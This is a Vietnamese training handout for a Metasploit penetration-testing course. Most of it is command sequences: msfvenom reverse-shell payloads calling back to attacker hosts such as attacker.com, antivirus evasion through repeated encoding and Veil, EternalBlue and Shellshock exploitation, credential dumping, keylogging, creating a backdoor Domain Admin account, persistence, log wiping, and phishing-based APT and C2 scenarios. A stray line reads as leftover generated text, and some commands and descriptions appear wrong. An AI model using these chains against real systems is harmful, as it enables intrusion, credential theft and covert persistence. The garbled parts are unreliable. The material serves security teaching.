Khóa học Online Anytime Pentest Với Metsploit trên LMS Security365 trình bày nhiều bài hướng dẫn về kiểm thử bảo mật với framework số 1 cho hacking này. Đây là khóa học dành cho các bạn mới bước cân vào thế giới ehacking, nên được trình bày khá cơ bản đến nâng cao. Sau đây là tài liệu bổ trợ cho các học viên để học tập dễ dàng hơn.
Download PDF
Setup một lab Pentest với Metasploit hoàn chỉnh.
Giới thiệu
Tài liệu này mô tả một số tùy chọn phổ biến cho các thành phần khác nhau của Metasploit Framework.
Các công cụ được mô tả trong tài liệu này:
- Metasploit: Nền tảng phát triển để tạo và sử dụng các công cụ và khai thác bảo mật.
- Metasploit Meterpreter: Payload trong Metasploit Framework cung cấp quyền kiểm soát hệ thống mục tiêu đã bị khai thác.
- Metasploit msfvenom: Công cụ cho phép tạo phiên bản độc lập của bất kỳ payload nào trong framework.
Các module Auxiliary hữu ích : Auxiliary trong Metasploit Framework
Auxiliary là một trong những thành phần quan trọng của Metasploit Framework. Đây là các module không phải là exploit, nhưng cung cấp các chức năng hỗ trợ quan trọng cho quá trình pentest và đánh giá bảo mật.
Đặc điểm của Auxiliary modules:
- Không thực hiện khai thác: Khác với exploit modules, auxiliary modules không nhằm mục đích giành quyền truy cập vào hệ thống mục tiêu.
- Đa dạng chức năng: Bao gồm quét, thu thập thông tin, brute force, DoS, và nhiều chức năng khác.
- Hỗ trợ quá trình pentest: Thường được sử dụng trong giai đoạn recon và post-exploitation.
Quét cổng:
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.0/24
msf > run
Liệt kê DNS:
msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run
Máy chủ FTP:
msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run
Máy chủ Proxy:
msf > use auxiliary/server/socks4
msf > run
msfvenom
msfvenom là một công cụ đa năng trong Metasploit Framework, được sử dụng để tạo và mã hóa các payload. Đây là sự kết hợp của hai công cụ trước đây là msfpayload và msfencode. Dưới đây là một giới thiệu chi tiết về msfvenom:
Mục đích chính của msfvenom:
- Tạo payload: Tạo ra các shellcode, executable, dll và các dạng payload khác.
- Mã hóa payload: Giúp payload tránh bị phát hiện bởi các phần mềm antivirus.
- Tùy chỉnh output: Cho phép tạo payload ở nhiều định dạng khác nhau.
Cú pháp cơ bản:
msfvenom -p <payload> <options>
Các tùy chọn quan trọng:
LPORT: Cổng lắng nghe trên máy attacker
-p: Chỉ định loại payload
-e: Chỉ định encoder để mã hóa payload
-f: Chỉ định định dạng output
-o: Chỉ định tên file output
LHOST: Địa chỉ IP của máy attacker (cho reverse payloads)
Cú pháp cơ bản:
$ msfvenom -p [ExploitPath] LHOST=[LocalHost] LPORT=[LocalPort] -f [FormatType]
Ví dụ tạo payload Meterpreter reverse TCP:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 -f exe > met.exe
Mã hóa payload với msfvenom:
$ msfvenom -p [Payload] -e [Encoder] -f [FormatType] -i [EncodeIterations] -o [OutputFilename]
Ví dụ mã hóa payload 5 lần:
$ msfvenom -p windows/meterpreter/reverse_tcp -i 5 -e x86/shikata_ga_nai -f exe -o mal.exe
Metasploit Console (msfconsole)
msfconsole là giao diện dòng lệnh chính và phổ biến nhất của Metasploit Framework. Đây là một công cụ đa năng và mạnh mẽ được sử dụng để thực hiện các hoạt động kiểm tra thâm nhập. Dưới đây là một giới thiệu chi tiết về msfconsole:
Đặc điểm chính của msfconsole:
- Giao diện tương tác: Cho phép người dùng tương tác trực tiếp với Metasploit Framework.
- Tích hợp đầy đủ: Truy cập tất cả các tính năng của Metasploit, bao gồm exploits, payloads, auxiliary modules, và post-exploitation modules.
- Tab completion: Hỗ trợ hoàn thành lệnh tự động, giúp sử dụng dễ dàng hơn.
- Quản lý phiên: Cho phép quản lý nhiều phiên khai thác cùng lúc.
Cách sử dụng cơ bản:
- Khởi động msfconsole:
$ msfconsole
- Tìm kiếm module:
msf6 > search [keyword]
- Sử dụng một module:
msf6 > use [module_path]
- Xem các tùy chọn của module:
msf6 > show options
- Đặt các tùy chọn cần thiết:
msf6 > set [option] [value]
- Chạy module:
msf6 > exploit
hoặc
msf6 > run
Các lệnh hữu ích trong msfconsole:
info: Hiển thị thông tin chi tiết về module hiện tạiback: Quay lại prompt chínhsessions: Liệt kê hoặc tương tác với các phiên đang hoạt độngjobs: Quản lý các công việc đang chạy nềnsetg: Đặt một biến toàn cụcunsetg: Xóa một biến toàn cụcsave: Lưu cấu hình hiện tạiload: Tải một pluginversion: Hiển thị phiên bản Metasploit
Ví dụ sử dụng msfconsole:
- Tìm và sử dụng một exploit:
msf6 > search ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.10
msf6 > exploit
- Sử dụng một auxiliary module:
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run
- Quản lý phiên:
msf6 > sessions -l
msf6 > sessions -i 1
Tính năng nâng cao:
- Resource scripts: Cho phép tự động hóa các tác vụ thông qua script.
- Database integration: Tích hợp với cơ sở dữ liệu để lưu trữ kết quả và quản lý workspace.
- Pivoting: Sử dụng một hệ thống đã xâm nhập để tấn công các hệ thống khác trong mạng nội bộ.
msfconsole là một công cụ mạnh mẽ và linh hoạt, cho phép người dùng thực hiện các hoạt động kiểm tra thâm nhập phức tạp, cung cấp một giao diện tập trung để truy cập vào toàn bộ khả năng của Metasploit Framework.
Một số lệnh cơ bản:
- Tìm kiếm module:
search [regex] - Chọn exploit:
use exploit/[ExploitPath] - Chọn payload:
set PAYLOAD [PayloadPath] - Xem tùy chọn:
show options - Đặt tùy chọn:
set [Option] [Value] - Bắt đầu khai thác:
exploit
Metasploit Meterpreter
Metasploit Meterpreter là một payload tiên tiến và mạnh mẽ trong Metasploit Framework. Đây là một công cụ post-exploitation được thiết kế để cung cấp khả năng kiểm soát sâu rộng đối với hệ thống đã bị xâm nhập. Dưới đây là một giới thiệu chi tiết về Meterpreter:
Đặc điểm chính của Meterpreter:
- In-memory payload: Chạy trực tiếp trong bộ nhớ, không cần ghi vào ổ đĩa, giúp tránh phát hiện.
- Mở rộng được: Có thể tải thêm các tính năng mới trong thời gian chạy.
- Encrypted communication: Sử dụng kênh truyền thông được mã hóa để giao tiếp với máy attacker.
- Stealthy: Được thiết kế để hoạt động một cách kín đáo, giảm thiểu dấu vết.
- Đa nền tảng: Có phiên bản cho Windows, Linux, Android, và các hệ điều hành khác.
Các tính năng chính:
- File system commands: Duyệt, tải lên, tải xuống, và thao tác với hệ thống tệp.
- System commands: Thực thi lệnh hệ thống, quản lý tiến trình.
- Network commands: Sniffing, pivoting, port forwarding.
- User interface commands: Chụp màn hình, ghi âm, keylogging.
- Privilege escalation: Nâng cao đặc quyền trên hệ thống mục tiêu.
- Password dumping: Thu thập hash mật khẩu.
Các lệnh Meterpreter phổ biến:
help: Hiển thị danh sách các lệnh có sẵn.sysinfo: Hiển thị thông tin về hệ thống mục tiêu.getuid: Hiển thị user ID hiện tại.getsystem: Cố gắng nâng cao đặc quyền.hashdump: Dump password hashes.download: Tải file từ máy mục tiêu.upload: Tải file lên máy mục tiêu.shell: Mở một shell trên máy mục tiêu.screenshot: Chụp màn hình máy mục tiêu.keyscan_start: Bắt đầu keylogger.migrate: Di chuyển Meterpreter sang một process khác.
Ví dụ sử dụng Meterpreter:
- Sau khi có được phiên Meterpreter:
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getsystem
meterpreter > hashdump
- Di chuyển sang process khác:
meterpreter > ps
meterpreter > migrate 1234
- Tải file từ máy mục tiêu:
meterpreter > download c:\\important_file.txt /home/attacker/
- Chụp màn hình:
meterpreter > screenshot
- Thiết lập keylogger:
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
Tính năng nâng cao:
- Pivoting: Sử dụng máy đã xâm nhập làm bàn đạp để tấn công các máy khác trong mạng.
- Port forwarding: Chuyển tiếp cổng từ máy mục tiêu về máy attacker.
- Incognito: Đánh cắp và sử dụng token xác thực.
- Mimikatz: Tích hợp công cụ Mimikatz để thu thập thông tin xác thực.
Lưu ý quan trọng:
- Meterpreter là một công cụ mạnh mẽ và có thể gây hại nếu sử dụng sai mục đích.
- Chỉ sử dụng trong môi trường được phép và cho mục đích học tập, nghiên cứu hoặc kiểm tra bảo mật hợp pháp.
- Nhiều phần mềm antivirus có thể phát hiện Meterpreter, vì vậy cần cẩn thận khi sử dụng trong môi trường thực tế.
Metasploit Meterpreter là một công cụ quan trọng trong bộ công cụ của penetration tester, cung cấp khả năng kiểm soát và thu thập thông tin mạnh mẽ trên hệ thống đã bị xâm nhập. Tuy nhiên, việc sử dụng nó đòi hỏi kiến thức chuyên sâu và trách nhiệm đạo đức cao.
Một số lệnh hữu ích:
- Hiển thị PID hiện tại:
getpid - Hiển thị UID hiện tại:
getuid - Liệt kê tiến trình:
ps - Kết thúc tiến trình:
kill [PID] - Chạy chương trình:
execute [program] - Di chuyển sang tiến trình khác:
migrate [PID]
Lệnh mạng:
- Xem thông tin mạng:
ipconfig - Chuyển tiếp cổng:
portfwd - Quản lý bảng định tuyến:
route
Lệnh tệp:
- Thay đổi thư mục:
cd - Tải lên/tải xuống tệp:
upload/download - Xem nội dung tệp:
cat
Quản lý phiên
- Liệt kê phiên nền:
sessions -l - Tương tác với phiên nền:
session -i [SessionID] - Đưa phiên hiện tại vào nền:
background
Định tuyến qua phiên
msf > route add [Subnet] [Netmask] [SessionID]
Ví dụ:
msf > route add 192.168.1.0 255.255.255.0 3
Điều này sẽ định tuyến tất cả lưu lượng đến mạng 192.168.1.0/24 qua phiên có ID là 3.
Tôi sẽ tiếp tục biên tập và bổ sung thêm nội dung:
Post Modules
Các module post có thể được chạy trên máy mục tiêu khi có sẵn phiên Meterpreter.
Post Modules trong Metasploit Framework được sử dụng sau khi đã có quyền truy cập vào hệ thống mục tiêu (post-exploitation). Chúng cung cấp nhiều chức năng hữu ích để khai thác thêm, thu thập thông tin và duy trì quyền truy cập. Dưới đây là giải thích chi tiết về mục đích và cách sử dụng của Post Modules:
Mục đích chính của Post Modules:
- Thu thập thông tin: Lấy dữ liệu quan trọng từ hệ thống đã xâm nhập.
- Nâng cao đặc quyền: Tìm cách để có được quyền cao hơn trên hệ thống.
- Duy trì quyền truy cập: Thiết lập các cơ chế để duy trì quyền truy cập lâu dài.
- Di chuyển theo chiều ngang: Tìm cách lan truyền trong mạng nội bộ.
- Xóa dấu vết: Xóa bỏ các dấu hiệu của cuộc tấn công.
Các loại Post Modules phổ biến:
- Modules thu thập thông tin:
- Gather: Thu thập thông tin hệ thống, ứng dụng, mạng.
- Credentials: Thu thập thông tin đăng nhập, mật khẩu.
- Modules nâng cao đặc quyền:
- Escalate: Tìm và khai thác các lỗ hổng để nâng quyền.
- Modules duy trì quyền truy cập:
- Manage: Thiết lập backdoor, tạo user mới.
- Modules di chuyển theo chiều ngang:
- Recon: Tìm kiếm các mục tiêu khác trong mạng.
- Modules xóa dấu vết:
- Logs: Xóa hoặc sửa đổi log hệ thống.
Cách sử dụng Post Modules:
- Trong phiên Meterpreter:
meterpreter > run post/windows/gather/hashdump
- Từ prompt msf:
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(windows/gather/hashdump) > run
Ví dụ cụ thể:
- Thu thập password hashes:
meterpreter > run post/windows/gather/hashdump
- Tìm kiếm các tệp nhạy cảm:
meterpreter > run post/windows/gather/enum_files
- Nâng cao đặc quyền:
meterpreter > run post/windows/escalate/getsystem
- Tạo user mới:
meterpreter > run post/windows/manage/add_user
- Kiểm tra các ứng dụng đã cài đặt:
meterpreter > run post/windows/gather/enum_applications
Lưu ý quan trọng:
- Sử dụng Post Modules có thể để lại dấu vết trên hệ thống mục tiêu.
- Một số module có thể gây ảnh hưởng đến hoạt động của hệ thống.
- Luôn thận trọng và chỉ sử dụng trong môi trường được phép.
- Hiểu rõ tác động của mỗi module trước khi sử dụng.
Post Modules là công cụ quan trọng trong quá trình kiểm tra thâm nhập, cho phép penetration tester mở rộng phạm vi kiểm tra và thu thập thông tin quan trọng sau khi đã có quyền truy cập ban đầu. Việc sử dụng hiệu quả các Post Modules có thể giúp đánh giá toàn diện hơn về tình trạng bảo mật của hệ thống mục tiêu.
Chạy Post Module từ Meterpreter:
meterpreter > run post/multi/gather/env
Chạy Post Module trên phiên nền:
msf > use post/windows/gather/hashdump
msf > show options
msf > set SESSION 1
msf > run
Khai thác nhiều mục tiêu
- Chạy exploit và đưa phiên vào nền ngay lập tức:
msf > exploit -z
- Chạy exploit trong nền và đợi nhiều phiên:
msf > exploit -j
- Liệt kê tất cả các job đang chạy:
msf > jobs -l
- Kết thúc một job:
msf > jobs -k [JobID]
Các lệnh Meterpreter bổ sung
Lệnh hệ thống:
- Hiển thị thời gian máy mục tiêu không hoạt động:
idletime - Bật/tắt bàn phím hoặc chuột:
uictl [enable/disable] [keyboard/mouse] - Chụp màn hình:
screenshot
Module bổ sung:
- Tải module:
use [module] - Ví dụ tải module priv:
use priv
- Dump hash:
hashdump - Thay đổi timestamp của tệp NTFS:
timestomp
Ví dụ thực tế
Kịch bản khai thác cơ bản:
- Tìm kiếm exploit:
msf > search ms17-010
- Sử dụng exploit:
msf > use exploit/windows/smb/ms17_010_eternalblue
- Đặt các tùy chọn:
msf > set RHOSTS 192.168.1.100
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.10
msf > set LPORT 4444
- Chạy exploit:
msf > exploit
- Sau khi có phiên Meterpreter, thu thập thông tin:
meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump
- Tải lên và thực thi tệp:
meterpreter > upload /path/to/backdoor.exe C:\\Windows\\Temp\\
meterpreter > execute -f C:\\Windows\\Temp\\backdoor.exe
Ví dụ về pivoting (các bạn chuẩn bị thi CEH Practical và CPENT cần nắm vững):
- Giả sử bạn đã có phiên Meterpreter trên máy 192.168.1.100 và muốn tấn công máy 10.0.0.5 trong mạng nội bộ.
- Thêm route:
msf > route add 10.0.0.0 255.255.255.0 1
- Sử dụng module quét cổng:
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.0.0.5
msf > run
- Tiếp tục với khai thác mới trên máy 10.0.0.5 sử dụng phiên hiện tại làm pivot.
Những ví dụ này minh họa cách Metasploit có thể được sử dụng trong các tình huống thực tế để khai thác, thu thập thông tin và mở rộng quyền truy cập trong mạng mục tiêu.
Kỹ thuật nâng cao
Đóng gói Payload
Để tránh phát hiện bởi phần mềm antivirus, bạn có thể sử dụng các kỹ thuật đóng gói và mã hóa payload.
Ví dụ sử dụng msfvenom để tạo payload được mã hóa:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o encrypted_payload.exe
Giải thích:
-e x86/shikata_ga_nai: Sử dụng encoder shikata_ga_nai-i 10: Mã hóa 10 lần-f exe: Định dạng đầu ra là file thực thi-o encrypted_payload.exe: Tên file đầu ra
Sử dụng Resource Scripts
Resource scripts cho phép bạn tự động hóa các tác vụ Metasploit phức tạp.
Ví dụ về resource script (auto_exploit.rc):
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit -j -z
Chạy resource script:
msfconsole -r auto_exploit.rc
Sử dụng Proxychains
Proxychains cho phép bạn chuyển tiếp lưu lượng qua nhiều proxy, hữu ích cho việc ẩn danh hoặc bypass firewall.
- Cấu hình Metasploit để lắng nghe trên SOCKS proxy:
msf > use auxiliary/server/socks4a
msf > run
- Cấu hình proxychains (
/etc/proxychains.conf):
socks4 127.0.0.1 1080
- Sử dụng proxychains với các công cụ khác:
proxychains nmap -sT -p80,443 target.com
Kịch bản tấn công phức tạp
Giả sử bạn cần thâm nhập vào một mạng công ty với nhiều lớp bảo mật. Dưới đây là một kịch bản có thể:
- Recon ban đầu:
msf > use auxiliary/scanner/smb/smb_version
msf > set RHOSTS 192.168.1.0/24
msf > run
- Khai thác máy chủ web dễ bị tổn thương:
msf > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf > set RHOSTS 192.168.1.100
msf > set LHOST 192.168.1.10
msf > exploit
- Sau khi có shell, nâng cấp lên Meterpreter:
meterpreter > sessions -u 1
- Thu thập thông tin và di chuyển theo chiều ngang:
meterpreter > run post/windows/gather/enum_domain
meterpreter > run post/windows/gather/credentials/credential_collector
- Sử dụng thông tin thu thập được để tấn công Domain Controller:
msf > use exploit/windows/smb/psexec
msf > set SMBUser Administrator
msf > set SMBPass HashFromStep4
msf > set RHOSTS 192.168.1.200
msf > exploit
- Từ Domain Controller, tạo user mới và thêm vào nhóm Domain Admins:
meterpreter > shell
C:\> net user hacker P@ssw0rd123 /add /domain
C:\> net group "Domain Admins" hacker /add /domain
- Duy trì quyền truy cập:
meterpreter > run persistence -X -i 30 -p 443 -r 192.168.1.10
Kịch bản này minh họa cách Metasploit có thể được sử dụng trong một cuộc tấn công phức tạp, từ recon ban đầu đến duy trì quyền truy cập. Luôn nhớ rằng những hoạt động này chỉ nên được thực hiện trong môi trường được phép và có kiểm soát.
Kỹ thuật Obfuscation và Evasion
Sử dụng Veil Framework
Veil là một framework giúp tạo ra payload khó bị phát hiện bởi antivirus.
Ví dụ sử dụng Veil:
- Chạy Veil:
./Veil.py
- Chọn Evasion tool:
Veil>: use 1
- Liệt kê các payload có sẵn:
Veil/Evasion>: list
- Chọn một payload, ví dụ go/meterpreter/rev_tcp:
Veil/Evasion>: use 15
- Cấu hình payload:
Veil/Evasion>: set LHOST 192.168.1.10
Veil/Evasion>: set LPORT 4444
- Tạo payload:
Veil/Evasion>: generate
Sử dụng MSFVenom với Encoder tùy chỉnh
Bạn có thể kết hợp nhiều encoder để tăng khả năng tránh phát hiện:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 3 -f exe -o multi_encoded_payload.exe
Kỹ thuật Post-Exploitation nâng cao
Keylogging
Sau khi có quyền truy cập Meterpreter:
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
Capturing Screenshots
meterpreter > screenshot
Pivoting với Port Forwarding
- Thiết lập port forwarding:
meterpreter > portfwd add -l 3389 -p 3389 -r 10.0.0.5
- Kết nối đến máy trong mạng nội bộ thông qua máy đã bị xâm nhập:
rdesktop 127.0.0.1:3389
Kịch bản tấn công APT (Advanced Persistent Threat)
Giả sử bạn đang mô phỏng một cuộc tấn công APT vào một công ty lớn. Dưới đây là một kịch bản có thể:
- Recon và Social Engineering:
- Sử dụng OSINT để thu thập thông tin về mục tiêu
- Tạo một email lừa đảo với payload Metasploit được obfuscate
- Initial Access:
- Sử dụng module
exploit/windows/fileformat/adobe_pdf_embedded_exeđể tạo PDF độc hại - Gửi PDF qua email lừa đảo
- Execution và Establishing Foothold:
- Khi nạn nhân mở PDF, payload sẽ thực thi và tạo reverse shell
- Sử dụng module
post/windows/manage/migrateđể di chuyển sang process ổn định hơn
- Privilege Escalation:
- Sử dụng
post/windows/gather/smart_hashdumpđể thu thập hash - Crack hash offline hoặc sử dụng Pass-the-Hash attack
- Lateral Movement:
- Sử dụng module
exploit/windows/smb/psexecvới thông tin đăng nhập đã lấy được - Thiết lập nhiều backdoor trên các máy khác nhau trong mạng
- Data Exfiltration:
- Sử dụng module
post/windows/gather/forensics/nbd_extractionđể trích xuất dữ liệu - Mã hóa và chia nhỏ dữ liệu trước khi gửi ra ngoài
- Persistence:
- Sử dụng module
exploit/windows/local/persistenceđể tạo nhiều cơ chế persistence - Thiết lập các tác vụ định kỳ để liên lạc về C2 server
- Covering Tracks:
- Xóa logs sử dụng
clearev - Sử dụng module
post/windows/manage/timestompđể thay đổi timestamp của các file đã tạo/sửa đổi
Kịch bản này minh họa cách Metasploit có thể được sử dụng trong một chiến dịch APT phức tạp, từ giai đoạn recon ban đầu đến duy trì quyền truy cập lâu dài. Mỗi bước đều có thể được tùy chỉnh và mở rộng tùy thuộc vào mục tiêu cụ thể và môi trường mạng.
Kỹ thuật C2 (Command and Control) nâng cao
Sử dụng DNS Tunneling
DNS Tunneling là một kỹ thuật C2 tinh vi, cho phép bypass nhiều firewall:
- Thiết lập DNS server:
msf > use auxiliary/server/fakedns
msf > set DOMAIN attacker.com
msf > run
- Tạo payload sử dụng DNS:
msfvenom -p windows/meterpreter/reverse_tcp_dns LHOST=attacker.com LPORT=53 -f exe -o dns_payload.exe
- Lắng nghe kết nối:
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp_dns
msf > set LHOST 0.0.0.0
msf > set LPORT 53
msf > exploit
Sử dụng HTTPS Beacon
HTTPS Beacon giúp giảm thiểu dấu vết trên mạng:
- Tạo certificate SSL:
openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
- Thiết lập HTTPS listener:
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_https
msf > set LHOST 0.0.0.0
msf > set LPORT 443
msf > set HandlerSSLCert /path/to/server.pem
msf > exploit
- Tạo payload:
msfvenom -p windows/meterpreter/reverse_https LHOST=attacker.com LPORT=443 -f exe -o https_beacon.exe
Kỹ thuật Evasion nâng cao
In-Memory Execution
Thực thi payload trực tiếp trong bộ nhớ, không chạm vào ổ đĩa:
msf > use exploit/multi/script/web_delivery
msf > set TARGET 2
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.10
msf > set LPORT 4444
msf > exploit
Sau đó, trên máy mục tiêu, chạy lệnh PowerShell được cung cấp.
Process Hollowing
Kỹ thuật này tạo một process hợp lệ nhưng thay thế nội dung của nó bằng mã độc:
- Tạo shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shellcode.bin
- Sử dụng công cụ như
Hollowđể thực hiện process hollowing.
Kịch bản Red Team Operation
Giả sử bạn đang thực hiện một chiến dịch Red Team toàn diện. Dưới đây là một kịch bản phức tạp:
- Reconnaissance:
- Sử dụng
recon-ngđể thu thập thông tin về mục tiêu - Áp dụng module Metasploit
auxiliary/gather/search_email_collector
- Weaponization:
- Tạo một macro Office độc hại sử dụng
msfvenom - Obfuscate payload với Veil
- Delivery:
- Thiết lập một trang web giả mạo với module
auxiliary/server/browser_autopwn2 - Gửi email lừa đảo với tài liệu độc hại đính kèm
- Exploitation:
- Sử dụng
exploit/multi/handlerđể bắt kết nối reverse shell - Áp dụng kỹ thuật process injection để tránh phát hiện
- Installation:
- Sử dụng module
post/windows/manage/persistence_exeđể cài đặt backdoor - Thiết lập nhiều cơ chế persistence khác nhau
- Command & Control:
- Sử dụng DNS tunneling như đã mô tả ở trên
- Thiết lập hệ thống C2 phân tán với nhiều server relay
- Actions on Objectives:
- Sử dụng module
post/windows/gather/credentials/domain_hashdumpđể thu thập hash domain - Áp dụng kỹ thuật Pass-the-Hash để di chuyển theo chiều ngang
- Sử dụng module
auxiliary/admin/smb/psexec_commandđể thực thi lệnh từ xa
- Exfiltration:
- Sử dụng steganography để ẩn dữ liệu trong các file hình ảnh
- Truyền dữ liệu qua kênh side-channel như DNS hoặc ICMP
- Impact:
- Sử dụng module
post/windows/manage/change_passwordđể thay đổi mật khẩu hàng loạt - Áp dụng ransomware mô phỏng (không gây hại thật) để demo impact
Trong suốt quá trình, sử dụng các kỹ thuật OPSEC (Operational Security) để giảm thiểu dấu vết:
- Sử dụng proxy chains để ẩn nguồn gốc traffic
- Áp dụng sleep timers và jitter trong các hoạt động C2
- Sử dụng các kỹ thuật anti-forensics như secure deletion và log manipulation
Kịch bản này minh họa cách Metasploit có thể được tích hợp vào một chiến dịch Red Team phức tạp, kết hợp nhiều kỹ thuật và công cụ khác nhau. Mỗi bước đều có thể được tinh chỉnh và mở rộng tùy thuộc vào mục tiêu cụ thể và môi trường mạng của đối tượng.
Lưu ý quan trọng: Các hoạt động này chỉ nên được thực hiện trong môi trường được phép và có kiểm soát, với sự đồng ý rõ ràng của tổ chức mục tiêu, nhằm mục đích nâng cao an ninh mạng.
Tài liệu nội bộ dành cho các học viên của khóa học Online Anytime qua LMS Security365 https://elearning.security365.vn/pentest-voi-metasploit-framework – Không sao chép dưới mọi hình thức.





Bình luận về bài viết này